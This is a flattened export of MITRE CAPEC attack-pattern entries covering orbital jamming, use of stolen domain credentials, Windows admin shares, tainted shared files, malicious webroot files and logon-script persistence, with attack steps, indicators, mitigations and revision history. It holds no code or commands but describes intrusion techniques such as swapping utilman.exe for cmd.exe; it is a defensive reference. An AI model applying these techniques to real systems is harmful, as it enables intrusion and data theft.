#indRelatedAttackPatternRelatedAttackPattern31513 + Related_Attack_Pattern_31513 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Specific versions of Windows contain accessibility features that may be launched with a key combination before a user has logged in (for example when they are on the Windows Logon screen). On Windows XP and Windows Server 2003/R2, the program (e.g. "C:\\Windows\\System32\\utilman.exe") may be replaced with cmd.exe (or another program that provides backdoor access). Then pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over RDP will cause the replaced file to be executed with SYSTEM privileges.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingServerSoftwareComponentTerminalServicesDLL + Server Software Component: Terminal Services DLL + + + + + + + + + + + + + + 1505.005 + + + + + Server Software Component: Terminal Services DLL + + + + + + + + + + + + #indTaxonomyMappingEventTriggeredExecutionAccessibilityFeatures + Event Triggered Execution: Accessibility Features + + + + + + + + + + + + + + 1546.008 + + + + + Event Triggered Execution: Accessibility Features + + + + + + + + + + + + #indContentHistoryContentHistory31531 + Content_History_31531 + + + + + + + + + + + + + + + + #indSubmissionSubmission31532 + Submission_31532 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31537 + Modification_31537 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification31543 + Modification_31543 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31549 + Modification_31549 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31555 + Modification_31555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-559 + Orbital Jamming + + + + + + + + + 559 + + + + + Orbital Jamming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, the adversary sends disruptive signals at a target satellite using a rogue uplink station to disrupt the intended transmission. Those within the satellite's footprint are prevented from reaching the satellite's targeted or neighboring channels. The satellite's footprint size depends upon its position in the sky; higher orbital satellites cover multiple continents.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31568 + Related_Attack_Pattern_31568 + + + + + + + + + + + + + + 601 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack requires the knowledge of the satellite's coordinates for targeting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A satellite uplink station.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence31577 + Consequence_31577 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack will deny the availability of the satellite communications for authorized users.</xhtml:div> + + + + + + + + + + + + #indReferenceReference31584 + Reference_31584 + + + + + + + + + REF-462 + + + + + + + + + + + + #indContentHistoryContentHistory31586 + Content_History_31586 + + + + + + + + + + + + + + + + #indSubmissionSubmission31587 + Submission_31587 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #CAPEC-56 + DEPRECATED: Removing/short-circuiting 'guard logic' + + + + + + + + + 56 + + + + + DEPRECATED: Removing/short-circuiting 'guard logic' + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-207 : Removing Important Client Functionality. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory31597 + Content_History_31597 + + + + + + + + + + + + + + + + #indSubmissionSubmission31598 + Submission_31598 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification31603 + Modification_31603 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification31609 + Modification_31609 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Injection_Vector, Languages, Payload, Payload_Activation_Impact, Platforms, Probing_Techniques, Purposes, Related_Attack_Patterns, Related_Guidelines, Related_Security_Principles, Related_Vulnerabilities, Related_Weaknesses, Resources_Required, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName31615 + Previous_Entry_Name_31615 + + + + + + + + + 2017-05-01 + + + + + Removing/short-circuiting 'guard logic' + + + + + + + + + + + + #CAPEC-560 + Use of Known Domain Credentials + + + + + + + + + 560 + + + + + Use of Known Domain Credentials + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attacks leveraging trusted credentials typically result in the adversary laterally moving within the local network, since users are often allowed to login to systems/applications within the network using the same password. This further allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attacks on known passwords generally rely on the primary fact that users often reuse the same username/password combination for a variety of systems, applications, and services, coupled with poor password policies on the target system or application. Adversaries can also utilize known passwords to target Single Sign On (SSO) or cloud-based applications and services, which often don't verify the authenticity of the user's input. Known credentials are usually obtained by an adversary via a system/application breach and/or by purchasing dumps of credentials on the dark web. These credentials may be further gleaned via exposed configuration and properties files that contain system passwords, database connection strings, and other sensitive data.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31630 + Related_Attack_Pattern_31630 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indAttackStepAttackStep31633 + Attack_Step_31633 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Acquire known credentials] The adversary must obtain known credentials in order to access the target system, application, or service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a sniffing attack to steal credentials as they are transmitted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to a database and exfiltrates password hashes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31643 + Attack_Step_31643 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target's password policy] Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine minimum and maximum allowed password lengths.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31651 + Attack_Step_31651 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt authentication] Try each credential until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter each credential through the target's interface.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31657 + Attack_Step_31657 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate] An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within a system or application</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31662 + Attack_Step_31662 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoofing] Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31667 + Attack_Step_31667 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can obtain sensitive data contained within the system or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not have a sound password policy that is being enforced.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not implement an effective password throttling mechanism.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill31680 + Skill_31680 + + + + + + + + + + + + + + Once an adversary obtains a known credential, leveraging it is trivial. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A list of known credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A custom script that leverages the credential list to launch an attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts use credentials that have been used previously by the account in question.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts are originating from IP addresses or locations that are inconsistent with the user's normal IP addresses or locations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data is being transferred and/or removed from systems/applications within the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Suspicious or Malicious software is downloaded/installed on systems within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Messages from a legitimate user appear to contain suspicious links or communications not consistent with the user's normal behavior.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence31694 + Consequence_31694 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence31700 + Consequence_31700 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence31705 + Consequence_31705 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage multi-factor authentication for all authentication services and prior to granting an entity access to the domain network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure users are not reusing username/password combinations for multiple systems, applications, or services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not reuse local administrator account credentials across systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deny remote use of local admin credentials to log into domain systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow accounts to be a local administrator on more than one system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-2.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal credential access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Throughout 2015 and 2016, APT28 — also known as Pawn Storm, Sednit, Fancy Bear, Sofacy, and STRONTIUM — leveraged stolen credentials to infiltrate the Democratic National Committee (DNC), the United States Army, the World Anti-Doping Agency (WADA), the Court of Arbitration for Sport (TAS-CAS), and more. In most cases, the legitimate credentials were obtained via calculated spearphishing, tabnabbing, and DNS attacks targeted at corporate webmail systems. APT28 also executed several watering hole attacks, in addition to exploiting several zero-day vulnerabilities within Flash and Windows. The stolen credentials were then utilized to maintain authenticated access, laterally move within the local network, and exfiltrate sensitive information including DNC emails and personal medical records of numerous athletes. [REF-571]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In early 2019, FIN6 exploited stolen credentials from an organization within the engineering industry to laterally move within an environment via the Windows’ Remote Desktop Protocol (RDP). Multiple servers were subsequently infected with malware to create malware distribution servers, which were used to distribute the LockerGoga ransomware. [REF-573]</xhtml:div> + + + + + 522 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + 1273 + + + + + + + + + + + + #indTaxonomyMappingValidAccounts + Valid Accounts + + + + + + + + + + + + + + 1078 + + + + + Valid Accounts + + + + + + + + + + + + #indReferenceReference31741 + Reference_31741 + + + + + + + + + REF-570 + + + + + + + + + + + + #indReferenceReference31742 + Reference_31742 + + + + + + + + + REF-571 + + + + + + + + + + + + #indReferenceReference31743 + Reference_31743 + + + + + + + + + REF-572 + + + + + + + + + + + + #indReferenceReference31744 + Reference_31744 + + + + + + + + + REF-573 + + + + + + + + + + + + #indContentHistoryContentHistory31746 + Content_History_31746 + + + + + + + + + + + + + + + + #indSubmissionSubmission31747 + Submission_31747 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31752 + Modification_31752 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated References + + + + + + + + + + + + #indModificationModification31758 + Modification_31758 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification31764 + Modification_31764 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31770 + Modification_31770 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Abstraction, @Status, Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required, Taxonomy_Mappings, Typical_Severity + + + + + + + + + + + + #indModificationModification31776 + Modification_31776 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31782 + Modification_31782 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification31788 + Modification_31788 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Extended_Description, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-561 + Windows Admin Shares with Stolen Credentials + + + + + + + + + 561 + + + + + Windows Admin Shares with Stolen Credentials + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Windows systems within the Windows NT family contain hidden network shares that are only accessible to system administrators. These shares allow administrators to remotely access all disk volumes on a network-connected system and further allow for files to be copied, written, and executed, along with other administrative actions. Example network shares include: C$, ADMIN$ and IPC$. If an adversary is able to obtain legitimate Windows credentials, the hidden shares can be accessed remotely, via server message block (SMB) or the Net utility, to transfer files and execute code. It is also possible for adversaries to utilize NTLM hashes to access administrator shares on systems with certain configuration and patch levels.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31804 + Related_Attack_Pattern_31804 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31805 + Related_Attack_Pattern_31805 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31806 + Related_Attack_Pattern_31806 + + + + + + + + + + + + + + 165 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31807 + Related_Attack_Pattern_31807 + + + + + + + + + + + + + + 549 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31808 + Related_Attack_Pattern_31808 + + + + + + + + + + + + + + 545 + + + + + + + + + + + + #indAttackStepAttackStep31811 + Attack_Step_31811 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Acquire known Windows administrator credentials] The adversary must obtain known Windows administrator credentials in order to access the administrative network shares.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary purchases breached Windows administrator credentials from the dark web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages a key logger or phishing attack to steal administrator credentials as they are provided.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a sniffing attack to steal Windows administrator credentials as they are transmitted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to a Windows domain system/files and exfiltrates Windows administrator password hashes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines outward-facing configuration and properties files to discover hardcoded Windows administrator credentials.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31821 + Attack_Step_31821 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt domain authentication] Try each Windows administrator credential against the hidden network shares until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter each administrator credential through the target's interface.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31827 + Attack_Step_31827 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Malware Execution] An adversary can remotely execute malware within the administrative network shares to infect other systems within the domain.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31832 + Attack_Step_31832 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can remotely obtain sensitive data contained within the administrative network shares.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application is connected to the Windows domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target administrative share allows remote use of local admin credentials to log into domain systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary possesses a list of known Windows administrator credentials that exist on the target domain.</xhtml:div> + + + + + + + + + + + + #indSkillSkill31844 + Skill_31844 + + + + + + + + + + + + + + Once an adversary obtains a known Windows credential, leveraging it is trivial. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A list of known Windows administrator credentials for the targeted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data is being transferred and/or removed from administrative network shares.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Suspicious or Malicious software is executed within administrative network shares.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Suspicious or Malicious software is downloaded/installed on systems within the domain.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence31855 + Consequence_31855 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence31861 + Consequence_31861 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence31866 + Consequence_31866 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not reuse local administrator account credentials across systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deny remote use of local admin credentials to log into domain systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow accounts to be a local administrator on more than one system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">APT32 has leveraged Windows' built-in Net utility to use Windows Administrative Shares to copy and execute remote malware. [REF-579]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In May 2017, APT15 laterally moved within a Windows domain via Windows Administrative Shares to copy files to and from compromised host systems. This further allowed for the remote execution of malware. [REF-578]</xhtml:div> + + + + + 522 + + + + + 308 + + + + + 309 + + + + + 294 + + + + + 263 + + + + + 262 + + + + + 521 + + + + + + + + + + + + #indTaxonomyMappingRemoteServicesSMBOrWindowsAdminShares + Remote Services:SMB/Windows Admin Shares + + + + + + + + + + + + + + 1021.002 + + + + + Remote Services:SMB/Windows Admin Shares + + + + + + + + + + + + #indReferenceReference31896 + Reference_31896 + + + + + + + + + REF-577 + + + + + + + + + + + + #indReferenceReference31897 + Reference_31897 + + + + + + + + + REF-578 + + + + + + + + + + + + #indReferenceReference31898 + Reference_31898 + + + + + + + + + REF-579 + + + + + + + + + + + + #indContentHistoryContentHistory31900 + Content_History_31900 + + + + + + + + + + + + + + + + #indSubmissionSubmission31901 + Submission_31901 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31906 + Modification_31906 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31912 + Modification_31912 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Description, Example_Instances, Execution_Flow, Indicators, Mitigations, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31918 + Modification_31918 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification31924 + Modification_31924 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-562 + Modify Shared File + + + + + + + + + 562 + + + + + Modify Shared File + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31935 + Related_Attack_Pattern_31935 + + + + + + + + + + + + + + 17 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disallow shared content. Protect shared folders by minimizing users that have write access. Use utilities that mitigate exploitation like the Microsoft Enhanced Mitigation Experience Toolkit (EMET) to prevent exploits from being run.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingTaintSharedContent + Taint shared content + + + + + + + + + + + + + + 1080 + + + + + Taint shared content + + + + + + + + + + + + #indContentHistoryContentHistory31949 + Content_History_31949 + + + + + + + + + + + + + + + + #indSubmissionSubmission31950 + Submission_31950 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31955 + Modification_31955 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-563 + Add Malicious File to Shared Webroot + + + + + + + + + 563 + + + + + Add Malicious File to Shared Webroot + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31967 + Related_Attack_Pattern_31967 + + + + + + + + + + + + + + 17 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure proper permissions on directories that are accessible through a web server. Disallow remote access to the web root. Disable execution on directories within the web root. Ensure that permissions of the web server process are only what is required by not using built-in accounts and instead create specific accounts to limit unnecessary access or permissions overlap across multiple systems.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indContentHistoryContentHistory31975 + Content_History_31975 + + + + + + + + + + + + + + + + #indSubmissionSubmission31976 + Submission_31976 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31981 + Modification_31981 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31987 + Modification_31987 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-564 + Run Software at Logon + + + + + + + + + 564 + + + + + Run Software at Logon + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31998 + Related_Attack_Pattern_31998 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Restrict write access to logon scripts to necessary administrators.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonInitializationScripts + Boot or Logon Initialization Scripts + + + + + + + + + + + + + + 1037 + + + + + Boot or Logon Initialization Scripts + + + + + + + + + + + + #indTaxonomyMappingCreateOrModifySystemProcessLaunchAgent + Create or Modify System Process: Launch Agent + + + + + + + + + + + + + + 1543.001 + + + + + Create or Modify System Process: Launch Agent + + + + + + + + + + + + #indTaxonomyMappingCreateOrModifySystemProcessLaunchDaemon + Create or Modify System Process: Launch Daemon + + + + + + + + + + + + + + 1543.004 + + + + + Create or Modify System Process: Launch Daemon + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonAutostartExecution + Boot or Logon Autostart Execution + + + + + + + + + + + + + + 1547 + + + + + Boot or Logon Autostart Execution + + + + + + + + + + + + #indContentHistoryContentHistory32024 + Content_History_32024 + + + + + + + + + + + + + + + + #indSubmissionSubmission32025 + Submission_32025 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32030 + Modification_32030 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification32036 + Modification_32036 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification32042 + Modification_32042 + + + + + + + + + CAPEC Content Team + + + + + 